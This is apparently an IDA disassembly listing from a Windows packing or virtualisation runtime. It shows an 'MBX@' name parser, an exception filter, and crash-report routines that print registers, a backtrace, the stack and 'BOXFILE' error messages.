

loc_4D8A71:				; CODE XREF: sub_4D8A16+52j
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 4
		jle	loc_4D8BF5
		push	4
		pop	ecx
		mov	edi, offset aMbx@ ; "MBX@"
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		mov	[ebp+var_34], eax
		repe cmpsb
		jz	short loc_4D8AA7
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_34], eax


loc_4D8AA7:				; CODE XREF: sub_4D8A16+87j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jnz	loc_4D8BF5
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		push	40h
		push	[ebp+arg_0]
		call	sub_4CC640
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_4D8BF5
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0


loc_4D8AE1:				; CODE XREF: sub_4D8A16+FCj
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	byte ptr [ebp+var_3C], al
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		call	sub_4D89B8
		pop	ecx
		pop	ecx
		and	eax, 0Fh
		mov	ecx, [ebp+var_30]
		shl	ecx, 4
		or	eax, ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_28]
		jnz	short loc_4D8AE1
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jnz	loc_4D8BF5
		mov	eax, [ebp+var_30]
		cmp	eax, [ebp+var_1C]
		jnz	loc_4D8BF5
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4CC640
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_4D8BF5
		and	[ebp+var_30], 0


loc_4D8B50:				; CODE XREF: sub_4D8A16+16Bj
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	byte ptr [ebp+var_40], al
		push	[ebp+var_40]
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		call	sub_4D89B8
		pop	ecx
		pop	ecx
		and	eax, 0Fh
		mov	ecx, [ebp+var_30]
		shl	ecx, 4
		or	eax, ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_28]
		jnz	short loc_4D8B50
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jnz	short loc_4D8BF5
		mov	[ebp+var_44], offset a_	; ".###"
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_48], eax


loc_4D8B98:				; CODE XREF: sub_4D8A16+1B4j
		mov	eax, [ebp+var_48]
		mov	al, [eax]
		mov	[ebp+var_49], al
		mov	ecx, [ebp+var_44]
		cmp	al, [ecx]
		jnz	short loc_4D8BD2
		cmp	[ebp+var_49], 0
		jz	short loc_4D8BCC
		mov	eax, [ebp+var_48]
		mov	al, [eax+1]
		mov	[ebp+var_4A], al
		mov	ecx, [ebp+var_44]
		cmp	al, [ecx+1]
		jnz	short loc_4D8BD2
		add	[ebp+var_48], 2
		add	[ebp+var_44], 2
		cmp	[ebp+var_4A], 0
		jnz	short loc_4D8B98


loc_4D8BCC:				; CODE XREF: sub_4D8A16+195j
		and	[ebp+var_50], 0
		jmp	short loc_4D8BDA
; ---------------------------------------------------------------------------


loc_4D8BD2:				; CODE XREF: sub_4D8A16+18Fj
					; sub_4D8A16+1A6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_50], eax


loc_4D8BDA:				; CODE XREF: sub_4D8A16+1BAj
		mov	eax, [ebp+var_50]
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jnz	short loc_4D8BF5
		mov	eax, [ebp+var_30]
		mov	[ebp+var_58], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_58]
		jmp	short loc_4D8C08
; ---------------------------------------------------------------------------


loc_4D8BF5:				; CODE XREF: sub_4D8A16+30j
					; sub_4D8A16+6Fj ...
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4D8C06
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_4D8C06:				; CODE XREF: sub_4D8A16+1E3j
		xor	eax, eax


loc_4D8C08:				; CODE XREF: sub_4D8A16+1DDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4D8A16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8C17	proc near		; CODE XREF: sub_4CD2E0+3F8p
		push	ebp
		mov	ebp, esp
		push	offset sub_4D8C27
		call	ds:dword_4E1790	; SetUnhandledExceptionFilter
		pop	ebp
		retn
sub_4D8C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8C27	proc near		; CODE XREF: sub_4D5BD7+367p
					; sub_4D6B7F+3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset a__seh__0xXAt0x ; "__SEH__ 0x%x at 0x%x"
		call	sub_4D8726
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+98h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0BCh]
		push	offset aCs0x08xSs0x08x ; "CS :0x%08X SS	:0x%08X	DS :0x%08X"
		call	sub_4D8726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+8Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+90h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+94h]
		push	offset aEs0x08xFs0x08x ; "ES :0x%08X FS	:0x%08X	GS :0x%08X"
		call	sub_4D8726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		push	offset aEax0x08xEdx0x0 ; "EAX:0x%08X EDX:0x%08X	ECX:0x%08X"
		call	sub_4D8726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		push	offset aEsp0x08xEbp0x0 ; "ESP:0x%08X EBP:0x%08X	EIP:0x%08X"
		call	sub_4D8726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		push	offset aEsi0x08xEdi0x0 ; "ESI:0x%08X EDI:0x%08X"
		call	sub_4D8726
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		call	sub_4D918E
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, 11000000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 16h
		ja	loc_4D8E67
		mov	eax, [ebp+var_8]
		jmp	ds:off_4D8E97[eax*4]


loc_4D8D8E:				; DATA XREF: _4:off_4D8E97o
		mov	[ebp+var_4], offset aAssertionFaile ; "ASSERTION FAILED"
		jmp	loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8D9A:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8E9Bo
		mov	[ebp+var_4], offset aHasNoAccessToE ; "HAS NO ACCESS TO	EXECUTABLE"
		jmp	loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DA6:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8E9Fo
		mov	[ebp+var_4], offset aExecutableIsNo ; "EXECUTABLE IS NOT NT IMAGE"
		jmp	loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DB2:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EC7o
		mov	[ebp+var_4], offset aDynamicLibrary ; "DYNAMIC LIBRARY IS NOT NT IMAGE"
		jmp	loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DBE:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EA3o
		mov	[ebp+var_4], offset aExecutableCorr ; "EXECUTABLE CORRUPTED"
		jmp	loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DCA:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EA7o
		mov	[ebp+var_4], offset aPathIsVeryLong ; "PATH IS VERY LONG"
		jmp	loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DD6:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EABo
		mov	[ebp+var_4], offset aCouldNotOpenBo ; "COULD NOT OPEN BOXFILE"
		jmp	loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DE2:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EAFo
		mov	[ebp+var_4], offset aReadBoxfileErr ; "READ BOXFILE ERROR"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DEB:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EB3o
		mov	[ebp+var_4], offset aBoxfileCorrupt ; "BOXFILE CORRUPTED"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DF4:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EB7o
		mov	[ebp+var_4], offset aFeatureIsNotIm ; "FEATURE IS NOT IMPLEMENTED"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8DFD:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EBBo
		mov	[ebp+var_4], offset aOutOfMemory ; "OUT	OF MEMORY"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E06:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EBFo
		mov	[ebp+var_4], offset aWrappersTableB ; "WRAPPERS	TABLE BROKEN"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E0F:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EC3o
		mov	[ebp+var_4], offset aVirtualprote_0 ; "VIRTUALPROTECT BROKEN"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E18:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8ECBo
		mov	[ebp+var_4], offset aCouldNotCreate ; "COULD NOT CREATE	HEAP"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E21:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8ECFo
		mov	[ebp+var_4], offset aHeapCorrupted ; "HEAP CORRUPTED"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E2A:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8ED7o
		mov	[ebp+var_4], offset aDllCorrupted ; "DLL CORRUPTED"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E33:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EE7o
		mov	[ebp+var_4], offset aInvalidCompres ; "INVALID COMPRESSION/ENCRYPTION ALGORITH"...
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E3C:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8ED3o
		mov	[ebp+var_4], offset aPackedDllOrBox ; "PACKED DLL OR BOXFILE CORRUPTED"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E45:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EDBo
		mov	[ebp+var_4], offset aHookingDllErro ; "HOOKING DLL ERROR"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E4E:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EDFo
		mov	[ebp+var_4], offset aGetmodulenameE ; "GetModuleName ERROR"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E57:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EE3o
		mov	[ebp+var_4], offset aBadFuulname ; "BAD	FUULNAME"
		jmp	short loc_4D8E67
; ---------------------------------------------------------------------------


loc_4D8E60:				; CODE XREF: sub_4D8C27+160j
					; DATA XREF: _4:004D8EEFo
		mov	[ebp+var_4], offset aInvalidDllRelo ; "INVALID DLL RELOCATION"


loc_4D8E67:				; CODE XREF: sub_4D8C27+157j
					; sub_4D8C27+160j ...
		cmp	[ebp+var_4], 0
		jz	short loc_4D8E8C
		push	0
		push	0
		call	ds:dword_4E17C4	; ChangeDisplaySettingsA
		push	10h
		push	ds:off_4DE4F4
		push	[ebp+var_4]
		push	0
		call	ds:dword_4E17D0	; MessageBoxA
		jmp	short loc_4D8E90
; ---------------------------------------------------------------------------


loc_4D8E8C:				; CODE XREF: sub_4D8C27+244j
		xor	eax, eax
		jmp	short locret_4D8E93
; ---------------------------------------------------------------------------


loc_4D8E90:				; CODE XREF: sub_4D8C27+263j
		push	1
		pop	eax

locret_4D8E93:				; CODE XREF: sub_4D8C27+267j
		leave
		retn	4
sub_4D8C27	endp

; ---------------------------------------------------------------------------
off_4D8E97	dd offset loc_4D8D8E	; DATA XREF: sub_4D8C27+160r
		dd offset loc_4D8D9A
		dd offset loc_4D8DA6
		dd offset loc_4D8DBE
		dd offset loc_4D8DCA
		dd offset loc_4D8DD6
		dd offset loc_4D8DE2
		dd offset loc_4D8DEB
		dd offset loc_4D8DF4
		dd offset loc_4D8DFD
		dd offset loc_4D8E06
		dd offset loc_4D8E0F
		dd offset loc_4D8DB2
		dd offset loc_4D8E18
		dd offset loc_4D8E21
		dd offset loc_4D8E3C
		dd offset loc_4D8E2A
		dd offset loc_4D8E45
		dd offset loc_4D8E4E
		dd offset loc_4D8E57
		dd offset loc_4D8E33
		dd offset loc_4D8E67
		dd offset loc_4D8E60

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8EF3	proc near		; CODE XREF: sub_4D918E+40p
					; sub_4D918E+83p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE550
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, offset dword_4E5A90
		test	eax, eax
		jnz	short loc_4D8F2E
		mov	eax, offset aBroken ; "!broken!"
		jmp	loc_4D9006
; ---------------------------------------------------------------------------


loc_4D8F2E:				; CODE XREF: sub_4D8EF3+2Fj
		mov	ecx, 100h
		xor	eax, eax
		mov	edi, offset dword_4E5A90
		rep stosd
		and	[ebp+var_4], 0
		push	1Ch
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4E17B0	; VirtualQuery
		test	eax, eax
		jnz	short loc_4D8F78
		push	offset a0x08xUnknownUn ; "0x%08x:[unknown]:unknown"
		push	offset dword_4E5A90
		call	ds:dword_4E17D4	; wsprintfA
		pop	ecx
		pop	ecx
		mov	[ebp+var_44], offset dword_4E5A90
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_44]
		jmp	loc_4D9006
; ---------------------------------------------------------------------------


loc_4D8F78:				; CODE XREF: sub_4D8EF3+5Ej
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4D90EF
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_24], 0
		and	[ebp+var_1C], 0
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D9015
		add	esp, 10h
		cmp	[ebp+var_20], 0
		jnz	short loc_4D8FB1
		mov	[ebp+var_20], offset aUnknown ;	"unknown"


loc_4D8FB1:				; CODE XREF: sub_4D8EF3+B5j
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_20]
		push	[ebp+arg_0]
		push	offset a0x08xS03x08x ; "0x%08x:[%s]:(%03x:%08x)"
		push	offset dword_4E5A90
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 18h
		mov	[ebp+var_48], offset dword_4E5A90
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_48]
		jmp	short loc_4D9006
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+arg_0]
		push	offset aBroken0x08x ; "!broken!0x%08x:"
		push	offset dword_4E5A90
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 0Ch
		mov	eax, offset dword_4E5A90


loc_4D9006:				; CODE XREF: sub_4D8EF3+36j
					; sub_4D8EF3+80j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4D8EF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9015	proc near		; CODE XREF: sub_4D8EF3+A9p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+4]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		sub	ecx, [eax+4]
		mov	[ebp+var_C], ecx
		and	[ebp+var_4], 0
		jmp	short loc_4D9058
; ---------------------------------------------------------------------------


loc_4D9051:				; CODE XREF: sub_4D9015:loc_4D90E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4D9058:				; CODE XREF: sub_4D9015+3Aj
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_4], eax
		jnb	loc_4D90EA
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+0Ch]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		imul	ecx, 28h
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_8]
		mov	eax, [edx+eax+10h]
		cmp	eax, [esi+ecx+8]
		jbe	short loc_4D90A6
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+10h]
		mov	[ebp+var_1C], eax
		jmp	short loc_4D90B6
; ---------------------------------------------------------------------------


loc_4D90A6:				; CODE XREF: sub_4D9015+7Dj
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_1C], eax


loc_4D90B6:				; CODE XREF: sub_4D9015+8Fj
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_1C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_18]
		jb	short loc_4D90E5
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_14]
		jnb	short loc_4D90E5
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_4D90EA
; ---------------------------------------------------------------------------


loc_4D90E5:				; CODE XREF: sub_4D9015+B0j
					; sub_4D9015+B8j
		jmp	loc_4D9051
; ---------------------------------------------------------------------------


loc_4D90EA:				; CODE XREF: sub_4D9015+4Dj
					; sub_4D9015+CEj
		xor	al, al
		pop	esi
		leave
		retn
sub_4D9015	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D90EF	proc near		; CODE XREF: sub_4D8EF3+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, offset dword_4E5E90
		rep stosd
		push	104h
		push	offset dword_4E5E90
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	ds:dword_4E1714	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4D911F
		xor	eax, eax
		jmp	short loc_4D918B
; ---------------------------------------------------------------------------


loc_4D911F:				; CODE XREF: sub_4D90EF+2Aj
		push	5Ch
		push	offset dword_4E5E90
		call	sub_4CC700
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4D913C
		mov	eax, [ebp+var_4]
		inc	eax
		jmp	short loc_4D918B
; ---------------------------------------------------------------------------


loc_4D913C:				; CODE XREF: sub_4D90EF+45j
		mov	edi, offset dword_4E5E90
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	50h
		pop	eax
		cmp	eax, ecx
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4D9186
		mov	eax, [ebp+var_8]
		mov	ds:byte_4E5E40[eax], 2Eh
		mov	eax, [ebp+var_8]
		mov	ds:byte_4E5E41[eax], 2Eh
		mov	eax, [ebp+var_8]
		mov	ds:byte_4E5E42[eax], 2Eh
		mov	eax, [ebp+var_8]
		lea	eax, byte_4E5E40[eax]
		jmp	short loc_4D918B
; ---------------------------------------------------------------------------


loc_4D9186:				; CODE XREF: sub_4D90EF+6Cj
		mov	eax, offset dword_4E5E90


loc_4D918B:				; CODE XREF: sub_4D90EF+2Ej
					; sub_4D90EF+4Bj ...
		pop	edi
		leave
		retn
sub_4D90EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D918E	proc near		; CODE XREF: sub_4D8C27+132p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE560
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset aBacktrace ; "--	backtrace --"
		call	sub_4D8726
		pop	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_4D8EF3
		pop	ecx
		push	eax
		push	offset aS_6	; "   %s"
		call	sub_4D8726
		pop	ecx
		pop	ecx
		and	[ebp+var_20], 0
		jmp	short loc_4D91F6
; ---------------------------------------------------------------------------


loc_4D91E7:				; CODE XREF: sub_4D918E+96j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax


loc_4D91F6:				; CODE XREF: sub_4D918E+57j
		cmp	[ebp+var_20], 40h
		jnb	short loc_4D9226
		cmp	[ebp+var_1C], 0
		jz	short loc_4D9226
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4D9226
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	sub_4D8EF3
		pop	ecx
		push	eax
		push	offset aS_6	; "   %s"
		call	sub_4D8726
		pop	ecx
		pop	ecx
		jmp	short loc_4D91E7
; ---------------------------------------------------------------------------


loc_4D9226:				; CODE XREF: sub_4D918E+6Cj
					; sub_4D918E+72j ...
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4D9242
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		push	offset a___OpssBrokenB ; "   ... opss, broken by SEH"
		call	sub_4D8726
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh


loc_4D9242:				; CODE XREF: sub_4D918E+9Cj
		push	offset aStack	; "--stack--"
		call	sub_4D8726
		pop	ecx
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 1
		and	[ebp+var_24], 0
		jmp	short loc_4D9267
; ---------------------------------------------------------------------------


loc_4D9260:				; CODE XREF: sub_4D918E+10Fj
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_4D9267:				; CODE XREF: sub_4D918E+D0j
		cmp	[ebp+var_24], 8
		jnb	short loc_4D929F
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_1C]
		push	offset a0x08x0x08x0x08 ; "0x%08x: 0x%08x 0x%08x	0x%08x 0x%08x"
		call	sub_4D8726
		add	esp, 18h
		mov	eax, [ebp+var_1C]
		add	eax, 10h
		mov	[ebp+var_1C], eax
		jmp	short loc_4D9260
; ---------------------------------------------------------------------------


loc_4D929F:				; CODE XREF: sub_4D918E+DDj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4D92BB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		push	offset a___OpssBrokenB ; "   ... opss, broken by SEH"
		call	sub_4D8726
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh


loc_4D92BB:				; CODE XREF: sub_4D918E+115j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4D918E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D92CA	proc near		; CODE XREF: sub_4CF63E+64p
					; sub_4D153F+2AFp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		inc	ecx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		pop	edi
